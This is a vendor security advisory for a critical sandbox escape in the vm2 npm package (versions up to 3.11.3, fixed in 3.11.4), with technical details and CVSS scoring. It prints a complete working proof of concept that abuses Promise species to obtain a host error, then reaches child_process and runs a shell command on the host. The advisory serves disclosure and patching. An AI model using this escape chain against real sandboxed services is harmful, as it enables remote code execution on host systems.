Skip to content

Sandbox Breakout Using Promise Species

Critical
patriksimek published GHSA-76w7-j9cq-rx2j May 18, 2026

Package

npm vm2 (npm)

Affected versions

<= 3.11.3

Patched versions

3.11.4

Description

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The localPromise constructor was changed to call this.then(undefined, eater) to ensure a rejected promise is always used. However, this is missing a call to resetPromiseSpecies to ensure that this has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.

PoC

const {VM} = require("vm2");
const vm = new VM();
vm.run(`
class E extends Error {}
function so(d) {
	if (d > 0) so(d-1);
	const e = new E();
	e.stack;
	throw e;
}
let ex, ct;
class FakePromise extends Promise {
	static get [Symbol.species](){return ct;}
}
function doCatch(f) {
	ex=undefined;
	const p=Promise.withResolvers();
	ct = function(e){e(f, v=>{ex=v;p.resolve();})};
	new FakePromise(r=>r());
	return p.promise;
}
(async function f(s) {
	let min = s;
	let max = 100000;
	while (min<max) {
		const mid = (min+max)>>1;
		await doCatch(()=>so(mid));
		if (ex.name==="RangeError" && !(ex instanceof RangeError)) {
			ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
			return;
		}
		if (ex instanceof E) {
			min = mid+1;
		} else {
			max = mid;
		}
	}
	f(s+1);
})(0);
`);

Impact

Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-47208

Weaknesses

Improper Control of Dynamically-Managed Code Resources

The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements. Learn more on MITRE.

Credits